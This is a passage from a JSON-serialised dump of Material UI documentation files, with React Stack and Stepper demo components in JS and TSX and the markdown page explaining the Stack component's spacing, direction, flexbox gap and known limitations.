    "content": "import Paper from '@mui/material/Paper';\nimport Stack from '@mui/material/Stack';\nimport Box from '@mui/material/Box';\nimport { styled } from '@mui/material/styles';\n\nconst Item = styled(Paper)(({ theme }) => ({\n  backgroundColor: '#fff',\n  ...theme.typography.body2,\n  padding: theme.spacing(1),\n  textAlign: 'center',\n  color: (theme.vars ?? theme).palette.text.secondary,\n  flexGrow: 1,\n  ...theme.applyStyles('dark', {\n    backgroundColor: '#1A2027',\n  }),\n}));\n\nexport default function FlexboxGapStack() {\n  return (\n    <Box sx={{ width: 200 }}>\n      <Stack\n        spacing={{ xs: 1, sm: 2 }}\n        direction=\"row\"\n        useFlexGap\n        sx={{ flexWrap: 'wrap' }}\n      >\n        <Item>Item 1</Item>\n        <Item>Item 2</Item>\n        <Item>Long content</Item>\n      </Stack>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/stack/FlexboxGapStack.tsx.preview",
    "content": "<Stack\n  spacing={{ xs: 1, sm: 2 }}\n  direction=\"row\"\n  useFlexGap\n  sx={{ flexWrap: 'wrap' }}\n>\n  <Item>Item 1</Item>\n  <Item>Item 2</Item>\n  <Item>Long content</Item>\n</Stack>"
  },
  {
    "path": "docs/data/material/components/stack/InteractiveStack.js",
    "content": "import * as React from 'react';\nimport FormControl from '@mui/material/FormControl';\nimport FormLabel from '@mui/material/FormLabel';\nimport FormControlLabel from '@mui/material/FormControlLabel';\nimport Grid from '@mui/material/Grid';\nimport Paper from '@mui/material/Paper';\nimport RadioGroup from '@mui/material/RadioGroup';\nimport Radio from '@mui/material/Radio';\nimport Stack from '@mui/material/Stack';\nimport { HighlightedCode } from '@mui/docs/HighlightedCode';\n\nexport default function InteractiveStack() {\n  const [direction, setDirection] = React.useState('row');\n  const [justifyContent, setJustifyContent] = React.useState('center');\n  const [alignItems, setAlignItems] = React.useState('center');\n  const [spacing, setSpacing] = React.useState(2);\n\n  const jsx = `\n<Stack\n  direction=\"${direction}\"\n  spacing={${spacing}}\n  sx={{\n    justifyContent: \"${justifyContent}\",\n    alignItems: \"${alignItems}\",\n  }}\n>\n`;\n\n  return (\n    <Stack sx={{ flexGrow: 1 }}>\n      <Stack\n        direction={direction}\n        spacing={spacing}\n        sx={{ justifyContent, alignItems, height: 240 }}\n      >\n        {[0, 1, 2].map((value) => (\n          <Paper\n            key={value}\n            sx={(theme) => ({\n              p: 2,\n              pt: value + 1,\n              pb: value + 1,\n              color: 'text.secondary',\n              typography: 'body2',\n              backgroundColor: '#fff',\n              ...theme.applyStyles('dark', {\n                backgroundColor: '#1A2027',\n              }),\n            })}\n          >\n            {`Item ${value + 1}`}\n          </Paper>\n        ))}\n      </Stack>\n      <Paper sx={{ p: 2 }}>\n        <Grid container spacing={3}>\n          <Grid size={12}>\n            <FormControl component=\"fieldset\">\n              <FormLabel component=\"legend\">direction</FormLabel>\n              <RadioGroup\n                row\n                name=\"direction\"\n                aria-label=\"direction\"\n                value={direction}\n                onChange={(event) => {\n                  setDirection(event.target.value);\n                }}\n              >\n                <FormControlLabel value=\"row\" control={<Radio />} label=\"row\" />\n                <FormControlLabel\n                  value=\"row-reverse\"\n                  control={<Radio />}\n                  label=\"row-reverse\"\n                />\n                <FormControlLabel\n                  value=\"column\"\n                  control={<Radio />}\n                  label=\"column\"\n                />\n                <FormControlLabel\n                  value=\"column-reverse\"\n                  control={<Radio />}\n                  label=\"column-reverse\"\n                />\n              </RadioGroup>\n            </FormControl>\n          </Grid>\n          <Grid size={12}>\n            <FormControl component=\"fieldset\">\n              <FormLabel component=\"legend\">alignItems</FormLabel>\n              <RadioGroup\n                row\n                name=\"alignItems\"\n                aria-label=\"align items\"\n                value={alignItems}\n                onChange={(event) => {\n                  setAlignItems(event.target.value);\n                }}\n              >\n                <FormControlLabel\n                  value=\"flex-start\"\n                  control={<Radio />}\n                  label=\"flex-start\"\n                />\n                <FormControlLabel\n                  value=\"center\"\n                  control={<Radio />}\n                  label=\"center\"\n                />\n                <FormControlLabel\n                  value=\"flex-end\"\n                  control={<Radio />}\n                  label=\"flex-end\"\n                />\n                <FormControlLabel\n                  value=\"stretch\"\n                  control={<Radio />}\n                  label=\"stretch\"\n                />\n                <FormControlLabel\n                  value=\"baseline\"\n                  control={<Radio />}\n                  label=\"baseline\"\n                />\n              </RadioGroup>\n            </FormControl>\n          </Grid>\n          <Grid size={12}>\n            <FormControl component=\"fieldset\">\n              <FormLabel component=\"legend\">justifyContent</FormLabel>\n              <RadioGroup\n                row\n                name=\"justifyContent\"\n                aria-label=\"justifyContent\"\n                value={justifyContent}\n                onChange={(event) => {\n                  setJustifyContent(event.target.value);\n                }}\n              >\n                <FormControlLabel\n                  value=\"flex-start\"\n                  control={<Radio />}\n                  label=\"flex-start\"\n                />\n                <FormControlLabel\n                  value=\"center\"\n                  control={<Radio />}\n                  label=\"center\"\n                />\n                <FormControlLabel\n                  value=\"flex-end\"\n                  control={<Radio />}\n                  label=\"flex-end\"\n                />\n                <FormControlLabel\n                  value=\"space-between\"\n                  control={<Radio />}\n                  label=\"space-between\"\n                />\n                <FormControlLabel\n                  value=\"space-around\"\n                  control={<Radio />}\n                  label=\"space-around\"\n                />\n                <FormControlLabel\n                  value=\"space-evenly\"\n                  control={<Radio />}\n                  label=\"space-evenly\"\n                />\n              </RadioGroup>\n            </FormControl>\n          </Grid>\n          <Grid size={12}>\n            <FormControl component=\"fieldset\">\n              <FormLabel component=\"legend\">spacing</FormLabel>\n              <RadioGroup\n                row\n                name=\"spacing\"\n                aria-label=\"spacing\"\n                value={spacing.toString()}\n                onChange={(event) => {\n                  setSpacing(Number(event.target.value));\n                }}\n              >\n                {[0, 0.5, 1, 2, 3, 4, 8, 12].map((value) => (\n                  <FormControlLabel\n                    key={value}\n                    value={value.toString()}\n                    control={<Radio />}\n                    label={value}\n                  />\n                ))}\n              </RadioGroup>\n            </FormControl>\n          </Grid>\n        </Grid>\n      </Paper>\n      <HighlightedCode code={jsx} language=\"jsx\" />\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/stack/InteractiveStack.tsx",
    "content": "import * as React from 'react';\nimport FormControl from '@mui/material/FormControl';\nimport FormLabel from '@mui/material/FormLabel';\nimport FormControlLabel from '@mui/material/FormControlLabel';\nimport Grid from '@mui/material/Grid';\nimport Paper from '@mui/material/Paper';\nimport RadioGroup from '@mui/material/RadioGroup';\nimport Radio from '@mui/material/Radio';\nimport Stack, { StackProps } from '@mui/material/Stack';\nimport { HighlightedCode } from '@mui/docs/HighlightedCode';\n\nexport default function InteractiveStack() {\n  const [direction, setDirection] = React.useState<StackProps['direction']>('row');\n  const [justifyContent, setJustifyContent] = React.useState('center');\n  const [alignItems, setAlignItems] = React.useState('center');\n  const [spacing, setSpacing] = React.useState(2);\n\n  const jsx = `\n<Stack\n  direction=\"${direction}\"\n  spacing={${spacing}}\n  sx={{\n    justifyContent: \"${justifyContent}\",\n    alignItems: \"${alignItems}\",\n  }}\n>\n`;\n\n  return (\n    <Stack sx={{ flexGrow: 1 }}>\n      <Stack\n        direction={direction}\n        spacing={spacing}\n        sx={{ justifyContent, alignItems, height: 240 }}\n      >\n        {[0, 1, 2].map((value) => (\n          <Paper\n            key={value}\n            sx={(theme) => ({\n              p: 2,\n              pt: value + 1,\n              pb: value + 1,\n              color: 'text.secondary',\n              typography: 'body2',\n              backgroundColor: '#fff',\n              ...theme.applyStyles('dark', {\n                backgroundColor: '#1A2027',\n              }),\n            })}\n          >\n            {`Item ${value + 1}`}\n          </Paper>\n        ))}\n      </Stack>\n      <Paper sx={{ p: 2 }}>\n        <Grid container spacing={3}>\n          <Grid size={12}>\n            <FormControl component=\"fieldset\">\n              <FormLabel component=\"legend\">direction</FormLabel>\n              <RadioGroup\n                row\n                name=\"direction\"\n                aria-label=\"direction\"\n                value={direction}\n                onChange={(event) => {\n                  setDirection(event.target.value as StackProps['direction']);\n                }}\n              >\n                <FormControlLabel value=\"row\" control={<Radio />} label=\"row\" />\n                <FormControlLabel\n                  value=\"row-reverse\"\n                  control={<Radio />}\n                  label=\"row-reverse\"\n                />\n                <FormControlLabel\n                  value=\"column\"\n                  control={<Radio />}\n                  label=\"column\"\n                />\n                <FormControlLabel\n                  value=\"column-reverse\"\n                  control={<Radio />}\n                  label=\"column-reverse\"\n                />\n              </RadioGroup>\n            </FormControl>\n          </Grid>\n          <Grid size={12}>\n            <FormControl component=\"fieldset\">\n              <FormLabel component=\"legend\">alignItems</FormLabel>\n              <RadioGroup\n                row\n                name=\"alignItems\"\n                aria-label=\"align items\"\n                value={alignItems}\n                onChange={(event) => {\n                  setAlignItems(event.target.value);\n                }}\n              >\n                <FormControlLabel\n                  value=\"flex-start\"\n                  control={<Radio />}\n                  label=\"flex-start\"\n                />\n                <FormControlLabel\n                  value=\"center\"\n                  control={<Radio />}\n                  label=\"center\"\n                />\n                <FormControlLabel\n                  value=\"flex-end\"\n                  control={<Radio />}\n                  label=\"flex-end\"\n                />\n                <FormControlLabel\n                  value=\"stretch\"\n                  control={<Radio />}\n                  label=\"stretch\"\n                />\n                <FormControlLabel\n                  value=\"baseline\"\n                  control={<Radio />}\n                  label=\"baseline\"\n                />\n              </RadioGroup>\n            </FormControl>\n          </Grid>\n          <Grid size={12}>\n            <FormControl component=\"fieldset\">\n              <FormLabel component=\"legend\">justifyContent</FormLabel>\n              <RadioGroup\n                row\n                name=\"justifyContent\"\n                aria-label=\"justifyContent\"\n                value={justifyContent}\n                onChange={(event) => {\n                  setJustifyContent(event.target.value);\n                }}\n              >\n                <FormControlLabel\n                  value=\"flex-start\"\n                  control={<Radio />}\n                  label=\"flex-start\"\n                />\n                <FormControlLabel\n                  value=\"center\"\n                  control={<Radio />}\n                  label=\"center\"\n                />\n                <FormControlLabel\n                  value=\"flex-end\"\n                  control={<Radio />}\n                  label=\"flex-end\"\n                />\n                <FormControlLabel\n                  value=\"space-between\"\n                  control={<Radio />}\n                  label=\"space-between\"\n                />\n                <FormControlLabel\n                  value=\"space-around\"\n                  control={<Radio />}\n                  label=\"space-around\"\n                />\n                <FormControlLabel\n                  value=\"space-evenly\"\n                  control={<Radio />}\n                  label=\"space-evenly\"\n                />\n              </RadioGroup>\n            </FormControl>\n          </Grid>\n          <Grid size={12}>\n            <FormControl component=\"fieldset\">\n              <FormLabel component=\"legend\">spacing</FormLabel>\n              <RadioGroup\n                row\n                name=\"spacing\"\n                aria-label=\"spacing\"\n                value={spacing.toString()}\n                onChange={(event: React.ChangeEvent<HTMLInputElement>) => {\n                  setSpacing(Number((event.target as HTMLInputElement).value));\n                }}\n              >\n                {[0, 0.5, 1, 2, 3, 4, 8, 12].map((value) => (\n                  <FormControlLabel\n                    key={value}\n                    value={value.toString()}\n                    control={<Radio />}\n                    label={value}\n                  />\n                ))}\n              </RadioGroup>\n            </FormControl>\n          </Grid>\n        </Grid>\n      </Paper>\n      <HighlightedCode code={jsx} language=\"jsx\" />\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/stack/ResponsiveStack.js",
    "content": "import Paper from '@mui/material/Paper';\nimport Stack from '@mui/material/Stack';\nimport { styled } from '@mui/material/styles';\n\nconst Item = styled(Paper)(({ theme }) => ({\n  backgroundColor: '#fff',\n  ...theme.typography.body2,\n  padding: theme.spacing(1),\n  textAlign: 'center',\n  color: (theme.vars ?? theme).palette.text.secondary,\n  ...theme.applyStyles('dark', {\n    backgroundColor: '#1A2027',\n  }),\n}));\n\nexport default function ResponsiveStack() {\n  return (\n    <div>\n      <Stack\n        direction={{ xs: 'column', sm: 'row' }}\n        spacing={{ xs: 1, sm: 2, md: 4 }}\n      >\n        <Item>Item 1</Item>\n        <Item>Item 2</Item>\n        <Item>Item 3</Item>\n      </Stack>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/stack/ResponsiveStack.tsx",
    "content": "import Paper from '@mui/material/Paper';\nimport Stack from '@mui/material/Stack';\nimport { styled } from '@mui/material/styles';\n\nconst Item = styled(Paper)(({ theme }) => ({\n  backgroundColor: '#fff',\n  ...theme.typography.body2,\n  padding: theme.spacing(1),\n  textAlign: 'center',\n  color: (theme.vars ?? theme).palette.text.secondary,\n  ...theme.applyStyles('dark', {\n    backgroundColor: '#1A2027',\n  }),\n}));\n\nexport default function ResponsiveStack() {\n  return (\n    <div>\n      <Stack\n        direction={{ xs: 'column', sm: 'row' }}\n        spacing={{ xs: 1, sm: 2, md: 4 }}\n      >\n        <Item>Item 1</Item>\n        <Item>Item 2</Item>\n        <Item>Item 3</Item>\n      </Stack>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/stack/ResponsiveStack.tsx.preview",
    "content": "<Stack\n  direction={{ xs: 'column', sm: 'row' }}\n  spacing={{ xs: 1, sm: 2, md: 4 }}\n>\n  <Item>Item 1</Item>\n  <Item>Item 2</Item>\n  <Item>Item 3</Item>\n</Stack>"
  },
  {
    "path": "docs/data/material/components/stack/ZeroWidthStack.js",
    "content": "import Avatar from '@mui/material/Avatar';\nimport Box from '@mui/material/Box';\nimport Paper from '@mui/material/Paper';\nimport Stack from '@mui/material/Stack';\nimport { styled } from '@mui/material/styles';\nimport Typography from '@mui/material/Typography';\n\nconst Item = styled(Paper)(({ theme }) => ({\n  backgroundColor: '#fff',\n  ...theme.typography.body2,\n  padding: theme.spacing(1),\n  textAlign: 'center',\n  color: (theme.vars ?? theme).palette.text.secondary,\n  maxWidth: 400,\n  ...theme.applyStyles('dark', {\n    backgroundColor: '#1A2027',\n  }),\n}));\n\nconst message = `Truncation should be conditionally applicable on this long line of text\n as this is a much longer line than what the container can support.`;\n\nexport default function ZeroWidthStack() {\n  return (\n    <Box sx={{ flexGrow: 1, overflow: 'hidden', px: 3 }}>\n      <Item sx={{ my: 1, mx: 'auto', p: 2 }}>\n        <Stack spacing={2} direction=\"row\" sx={{ alignItems: 'center' }}>\n          <Avatar>W</Avatar>\n          <Typography noWrap>{message}</Typography>\n        </Stack>\n      </Item>\n      <Item sx={{ my: 1, mx: 'auto', p: 2 }}>\n        <Stack spacing={2} direction=\"row\" sx={{ alignItems: 'center' }}>\n          <Stack>\n            <Avatar>W</Avatar>\n          </Stack>\n          <Stack sx={{ minWidth: 0 }}>\n            <Typography noWrap>{message}</Typography>\n          </Stack>\n        </Stack>\n      </Item>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/stack/ZeroWidthStack.tsx",
    "content": "import Avatar from '@mui/material/Avatar';\nimport Box from '@mui/material/Box';\nimport Paper from '@mui/material/Paper';\nimport Stack from '@mui/material/Stack';\nimport { styled } from '@mui/material/styles';\nimport Typography from '@mui/material/Typography';\n\nconst Item = styled(Paper)(({ theme }) => ({\n  backgroundColor: '#fff',\n  ...theme.typography.body2,\n  padding: theme.spacing(1),\n  textAlign: 'center',\n  color: (theme.vars ?? theme).palette.text.secondary,\n  maxWidth: 400,\n  ...theme.applyStyles('dark', {\n    backgroundColor: '#1A2027',\n  }),\n}));\n\nconst message = `Truncation should be conditionally applicable on this long line of text\n as this is a much longer line than what the container can support.`;\n\nexport default function ZeroWidthStack() {\n  return (\n    <Box sx={{ flexGrow: 1, overflow: 'hidden', px: 3 }}>\n      <Item sx={{ my: 1, mx: 'auto', p: 2 }}>\n        <Stack spacing={2} direction=\"row\" sx={{ alignItems: 'center' }}>\n          <Avatar>W</Avatar>\n          <Typography noWrap>{message}</Typography>\n        </Stack>\n      </Item>\n      <Item sx={{ my: 1, mx: 'auto', p: 2 }}>\n        <Stack spacing={2} direction=\"row\" sx={{ alignItems: 'center' }}>\n          <Stack>\n            <Avatar>W</Avatar>\n          </Stack>\n          <Stack sx={{ minWidth: 0 }}>\n            <Typography noWrap>{message}</Typography>\n          </Stack>\n        </Stack>\n      </Item>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/stack/ZeroWidthStack.tsx.preview",
    "content": "<Item sx={{ my: 1, mx: 'auto', p: 2 }}>\n  <Stack spacing={2} direction=\"row\" sx={{ alignItems: 'center' }}>\n    <Avatar>W</Avatar>\n    <Typography noWrap>{message}</Typography>\n  </Stack>\n</Item>\n<Item sx={{ my: 1, mx: 'auto', p: 2 }}>\n  <Stack spacing={2} direction=\"row\" sx={{ alignItems: 'center' }}>\n    <Stack>\n      <Avatar>W</Avatar>\n    </Stack>\n    <Stack sx={{ minWidth: 0 }}>\n      <Typography noWrap>{message}</Typography>\n    </Stack>\n  </Stack>\n</Item>"
  },
  {
    "path": "docs/data/material/components/stack/stack.md",
    "content": "---\nproductId: material-ui\ntitle: React Stack component\ncomponents: Stack, PigmentStack\ngithubLabel: 'component: Stack'\ngithubSource: packages/mui-material/src/Stack\n---\n\n# Stack\n\n<p class=\"description\">Stack is a container component for arranging elements vertically or horizontally.</p>\n\n## Introduction\n\nThe Stack component manages the layout of its immediate children along the vertical or horizontal axis, with optional spacing and dividers between each child.\n\n:::info\nStack is ideal for one-dimensional layouts, while Grid is preferable when you need both vertical _and_ horizontal arrangement.\n:::\n\n{{\"component\": \"@mui/docs/ComponentLinkHeader\"}}\n\n## Basics\n\n```jsx\nimport Stack from '@mui/material/Stack';\n```\n\nThe Stack component acts as a generic container, wrapping around the elements to be arranged.\n\nUse the `spacing` prop to control the space between children.\nThe spacing value can be any number, including decimals, or a string.\n(The prop is converted into a CSS property using the [`theme.spacing()`](/material-ui/customization/spacing/) helper.)\n\n{{\"demo\": \"BasicStack.js\", \"bg\": true}}\n\n### Stack vs. Grid\n\n`Stack` is concerned with one-dimensional layouts, while [Grid](/material-ui/react-grid/) handles two-dimensional layouts. The default direction is `column` which stacks children vertically.\n\n## Direction\n\nBy default, Stack arranges items vertically in a column.\nUse the `direction` prop to position items horizontally in a row:\n\n{{\"demo\": \"DirectionStack.js\", \"bg\": true}}\n\n## Dividers\n\nUse the `divider` prop to insert an element between each child.\nThis works particularly well with the [Divider](/material-ui/react-divider/) component, as shown below:\n\n{{\"demo\": \"DividerStack.js\", \"bg\": true}}\n\n## Responsive values\n\nYou can switch the `direction` or `spacing` values based on the active breakpoint.\n\n{{\"demo\": \"ResponsiveStack.js\", \"bg\": true}}\n\n## Flexbox gap\n\nTo use [flexbox `gap`](https://developer.mozilla.org/en-US/docs/Web/CSS/Reference/Properties/gap) for the spacing implementation, set the `useFlexGap` prop to true.\n\nIt removes the [known limitations](#limitations) of the default implementation that uses CSS nested selector. However, CSS flexbox gap is not fully supported in some browsers.\n\nWe recommend checking the [support percentage](https://caniuse.com/?search=flex%20gap) before using it.\n\n{{\"demo\": \"FlexboxGapStack.js\", \"bg\": true}}\n\nTo set the prop to all stack instances, create a theme with default props:\n\n```js\nimport { ThemeProvider, createTheme } from '@mui/material/styles';\nimport Stack from '@mui/material/Stack';\n\nconst theme = createTheme({\n  components: {\n    MuiStack: {\n      defaultProps: {\n        useFlexGap: true,\n      },\n    },\n  },\n});\n\nfunction App() {\n  return (\n    <ThemeProvider theme={theme}>\n      <Stack>…</Stack> {/* uses flexbox gap by default */}\n    </ThemeProvider>\n  );\n}\n```\n\n## Interactive demo\n\nBelow is an interactive demo that lets you explore the visual results of the different settings:\n\n{{\"demo\": \"InteractiveStack.js\", \"hideToolbar\": true, \"bg\": true}}\n\n## Customization\n\nUse the [`sx` prop](/system/getting-started/the-sx-prop/) to quickly customize any Stack instance using a superset of CSS that has access to all the style functions and theme-aware properties exposed in the MUI System package.\nBelow is an example of how to apply center align items using this prop:\n\n```jsx\n<Stack sx={{ alignItems: 'center' }} />\n```\n\n## Limitations\n\n### Margin on the children\n\nCustomizing the margin on the children is not supported by default.\n\nFor instance, the top-margin on the `Button` component below will be ignored.\n\n```jsx\n<Stack>\n  <Button sx={{ marginTop: '30px' }}>...</Button>\n</Stack>\n```\n\n:::success\nTo overcome this limitation, set [`useFlexGap`](#flexbox-gap) prop to true to switch to CSS flexbox gap implementation.\n\nYou can learn more about this limitation by visiting this [RFC](https://github.com/mui/material-ui/issues/33754).\n:::\n\n### white-space: nowrap\n\nThe initial setting on flex items is `min-width: auto`.\nThis causes a positioning conflict when children use `white-space: nowrap;`.\nYou can reproduce the issue with:\n\n```jsx\n<Stack direction=\"row\">\n  <Typography noWrap>\n```\n\nIn order for the item to stay within the container you need to set `min-width: 0`.\n\n```jsx\n<Stack direction=\"row\" sx={{ minWidth: 0 }}>\n  <Typography noWrap>\n```\n\n{{\"demo\": \"ZeroWidthStack.js\", \"bg\": true}}\n\n## Anatomy\n\nThe Stack component is composed of a single root `<div>` element:\n\n```html\n<div class=\"MuiStack-root\">\n  <!-- Stack contents -->\n</div>\n```\n"
  },
  {
    "path": "docs/data/material/components/steppers/CustomizedSteppers.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nimport { styled } from '@mui/material/styles';\nimport Stack from '@mui/material/Stack';\nimport Stepper from '@mui/material/Stepper';\nimport Step from '@mui/material/Step';\nimport StepLabel from '@mui/material/StepLabel';\nimport Check from '@mui/icons-material/Check';\nimport SettingsIcon from '@mui/icons-material/Settings';\nimport GroupAddIcon from '@mui/icons-material/GroupAdd';\nimport VideoLabelIcon from '@mui/icons-material/VideoLabel';\nimport StepConnector, { stepConnectorClasses } from '@mui/material/StepConnector';\n\nconst QontoConnector = styled(StepConnector)(({ theme }) => ({\n  [`&.${stepConnectorClasses.alternativeLabel}`]: {\n    top: 10,\n    left: 'calc(-50% + 16px)',\n    right: 'calc(50% + 16px)',\n  },\n  [`&.${stepConnectorClasses.active}`]: {\n    [`& .${stepConnectorClasses.line}`]: {\n      borderColor: '#784af4',\n    },\n  },\n  [`&.${stepConnectorClasses.completed}`]: {\n    [`& .${stepConnectorClasses.line}`]: {\n      borderColor: '#784af4',\n    },\n  },\n  [`& .${stepConnectorClasses.line}`]: {\n    borderColor: '#eaeaf0',\n    borderTopWidth: 3,\n    borderRadius: 1,\n    ...theme.applyStyles('dark', {\n      borderColor: theme.palette.grey[800],\n    }),\n  },\n}));\n\nconst QontoStepIconRoot = styled('div')(({ theme }) => ({\n  color: '#eaeaf0',\n  display: 'flex',\n  height: 22,\n  alignItems: 'center',\n  '& .QontoStepIcon-completedIcon': {\n    color: '#784af4',\n    zIndex: 1,\n    fontSize: 18,\n  },\n  '& .QontoStepIcon-circle': {\n    width: 8,\n    height: 8,\n    borderRadius: '50%',\n    backgroundColor: 'currentColor',\n  },\n  ...theme.applyStyles('dark', {\n    color: theme.palette.grey[700],\n  }),\n  variants: [\n    {\n      props: ({ ownerState }) => ownerState.active,\n      style: {\n        color: '#784af4',\n      },\n    },\n  ],\n}));\n\nfunction QontoStepIcon(props) {\n  const { active, completed, className } = props;\n\n  return (\n    <QontoStepIconRoot ownerState={{ active }} className={className}>\n      {completed ? (\n        <Check className=\"QontoStepIcon-completedIcon\" />\n      ) : (\n        <div className=\"QontoStepIcon-circle\" />\n      )}\n    </QontoStepIconRoot>\n  );\n}\n\nQontoStepIcon.propTypes = {\n  /**\n   * Whether this step is active.\n   * @default false\n   */\n  active: PropTypes.bool,\n  className: PropTypes.string,\n  /**\n   * Mark the step as completed. Is passed to child components.\n   * @default false\n   */\n  completed: PropTypes.bool,\n};\n\nconst ColorlibConnector = styled(StepConnector)(({ theme }) => ({\n  [`&.${stepConnectorClasses.alternativeLabel}`]: {\n    top: 22,\n  },\n  [`&.${stepConnectorClasses.active}`]: {\n    [`& .${stepConnectorClasses.line}`]: {\n      backgroundImage:\n        'linear-gradient( 95deg,rgb(242,113,33) 0%,rgb(233,64,87) 50%,rgb(138,35,135) 100%)',\n    },\n  },\n  [`&.${stepConnectorClasses.completed}`]: {\n    [`& .${stepConnectorClasses.line}`]: {\n      backgroundImage:\n        'linear-gradient( 95deg,rgb(242,113,33) 0%,rgb(233,64,87) 50%,rgb(138,35,135) 100%)',\n    },\n  },\n  [`& .${stepConnectorClasses.line}`]: {\n    height: 3,\n    border: 0,\n    backgroundColor: '#eaeaf0',\n    borderRadius: 1,\n    ...theme.applyStyles('dark', {\n      backgroundColor: theme.palette.grey[800],\n    }),\n  },\n}));\n\nconst ColorlibStepIconRoot = styled('div')(({ theme }) => ({\n  backgroundColor: '#ccc',\n  zIndex: 1,\n  color: '#fff',\n  width: 50,\n  height: 50,\n  display: 'flex',\n  borderRadius: '50%',\n  justifyContent: 'center',\n  alignItems: 'center',\n  ...theme.applyStyles('dark', {\n    backgroundColor: theme.palette.grey[700],\n  }),\n  variants: [\n    {\n      props: ({ ownerState }) => ownerState.active,\n      style: {\n        backgroundImage:\n          'linear-gradient( 136deg, rgb(242,113,33) 0%, rgb(233,64,87) 50%, rgb(138,35,135) 100%)',\n        boxShadow: '0 4px 10px 0 rgba(0,0,0,.25)',\n      },\n    },\n    {\n      props: ({ ownerState }) => ownerState.completed,\n      style: {\n        backgroundImage:\n          'linear-gradient( 136deg, rgb(242,113,33) 0%, rgb(233,64,87) 50%, rgb(138,35,135) 100%)',\n      },\n    },\n  ],\n}));\n\nfunction ColorlibStepIcon(props) {\n  const { active, completed, className } = props;\n\n  const icons = {\n    1: <SettingsIcon />,\n    2: <GroupAddIcon />,\n    3: <VideoLabelIcon />,\n  };\n\n  return (\n    <ColorlibStepIconRoot ownerState={{ completed, active }} className={className}>\n      {icons[String(props.icon)]}\n    </ColorlibStepIconRoot>\n  );\n}\n\nColorlibStepIcon.propTypes = {\n  /**\n   * Whether this step is active.\n   * @default false\n   */\n  active: PropTypes.bool,\n  className: PropTypes.string,\n  /**\n   * Mark the step as completed. Is passed to child components.\n   * @default false\n   */\n  completed: PropTypes.bool,\n  /**\n   * The label displayed in the step icon.\n   */\n  icon: PropTypes.node,\n};\n\nconst steps = ['Select campaign settings', 'Create an ad group', 'Create an ad'];\n\nexport default function CustomizedSteppers() {\n  return (\n    <Stack sx={{ width: '100%' }} spacing={4}>\n      <Stepper alternativeLabel activeStep={1} connector={<QontoConnector />}>\n        {steps.map((label) => (\n          <Step key={label}>\n            <StepLabel slots={{ stepIcon: QontoStepIcon }}>{label}</StepLabel>\n          </Step>\n        ))}\n      </Stepper>\n      <Stepper alternativeLabel activeStep={1} connector={<ColorlibConnector />}>\n        {steps.map((label) => (\n          <Step key={label}>\n            <StepLabel slots={{ stepIcon: ColorlibStepIcon }}>{label}</StepLabel>\n          </Step>\n        ))}\n      </Stepper>\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/steppers/CustomizedSteppers.tsx",
    "content": "import * as React from 'react';\nimport { styled } from '@mui/material/styles';\nimport Stack from '@mui/material/Stack';\nimport Stepper from '@mui/material/Stepper';\nimport Step from '@mui/material/Step';\nimport StepLabel from '@mui/material/StepLabel';\nimport Check from '@mui/icons-material/Check';\nimport SettingsIcon from '@mui/icons-material/Settings';\nimport GroupAddIcon from '@mui/icons-material/GroupAdd';\nimport VideoLabelIcon from '@mui/icons-material/VideoLabel';\nimport StepConnector, { stepConnectorClasses } from '@mui/material/StepConnector';\nimport { StepIconProps } from '@mui/material/StepIcon';\n\nconst QontoConnector = styled(StepConnector)(({ theme }) => ({\n  [`&.${stepConnectorClasses.alternativeLabel}`]: {\n    top: 10,\n    left: 'calc(-50% + 16px)',\n    right: 'calc(50% + 16px)',\n  },\n  [`&.${stepConnectorClasses.active}`]: {\n    [`& .${stepConnectorClasses.line}`]: {\n      borderColor: '#784af4',\n    },\n  },\n  [`&.${stepConnectorClasses.completed}`]: {\n    [`& .${stepConnectorClasses.line}`]: {\n      borderColor: '#784af4',\n    },\n  },\n  [`& .${stepConnectorClasses.line}`]: {\n    borderColor: '#eaeaf0',\n    borderTopWidth: 3,\n    borderRadius: 1,\n    ...theme.applyStyles('dark', {\n      borderColor: theme.palette.grey[800],\n    }),\n  },\n}));\n\nconst QontoStepIconRoot = styled('div')<{ ownerState: { active?: boolean } }>(\n  ({ theme }) => ({\n    color: '#eaeaf0',\n    display: 'flex',\n    height: 22,\n    alignItems: 'center',\n    '& .QontoStepIcon-completedIcon': {\n      color: '#784af4',\n      zIndex: 1,\n      fontSize: 18,\n    },\n    '& .QontoStepIcon-circle': {\n      width: 8,\n      height: 8,\n      borderRadius: '50%',\n      backgroundColor: 'currentColor',\n    },\n    ...theme.applyStyles('dark', {\n      color: theme.palette.grey[700],\n    }),\n    variants: [\n      {\n        props: ({ ownerState }) => ownerState.active,\n        style: {\n          color: '#784af4',\n        },\n      },\n    ],\n  }),\n);\n\nfunction QontoStepIcon(props: StepIconProps) {\n  const { active, completed, className } = props;\n\n  return (\n    <QontoStepIconRoot ownerState={{ active }} className={className}>\n      {completed ? (\n        <Check className=\"QontoStepIcon-completedIcon\" />\n      ) : (\n        <div className=\"QontoStepIcon-circle\" />\n      )}\n    </QontoStepIconRoot>\n  );\n}\n\nconst ColorlibConnector = styled(StepConnector)(({ theme }) => ({\n  [`&.${stepConnectorClasses.alternativeLabel}`]: {\n    top: 22,\n  },\n  [`&.${stepConnectorClasses.active}`]: {\n    [`& .${stepConnectorClasses.line}`]: {\n      backgroundImage:\n        'linear-gradient( 95deg,rgb(242,113,33) 0%,rgb(233,64,87) 50%,rgb(138,35,135) 100%)',\n    },\n  },\n  [`&.${stepConnectorClasses.completed}`]: {\n    [`& .${stepConnectorClasses.line}`]: {\n      backgroundImage:\n        'linear-gradient( 95deg,rgb(242,113,33) 0%,rgb(233,64,87) 50%,rgb(138,35,135) 100%)',\n    },\n  },\n  [`& .${stepConnectorClasses.line}`]: {\n    height: 3,\n    border: 0,\n    backgroundColor: '#eaeaf0',\n    borderRadius: 1,\n    ...theme.applyStyles('dark', {\n      backgroundColor: theme.palette.grey[800],\n    }),\n  },\n}));\n\nconst ColorlibStepIconRoot = styled('div')<{\n  ownerState: { completed?: boolean; active?: boolean };\n}>(({ theme }) => ({\n  backgroundColor: '#ccc',\n  zIndex: 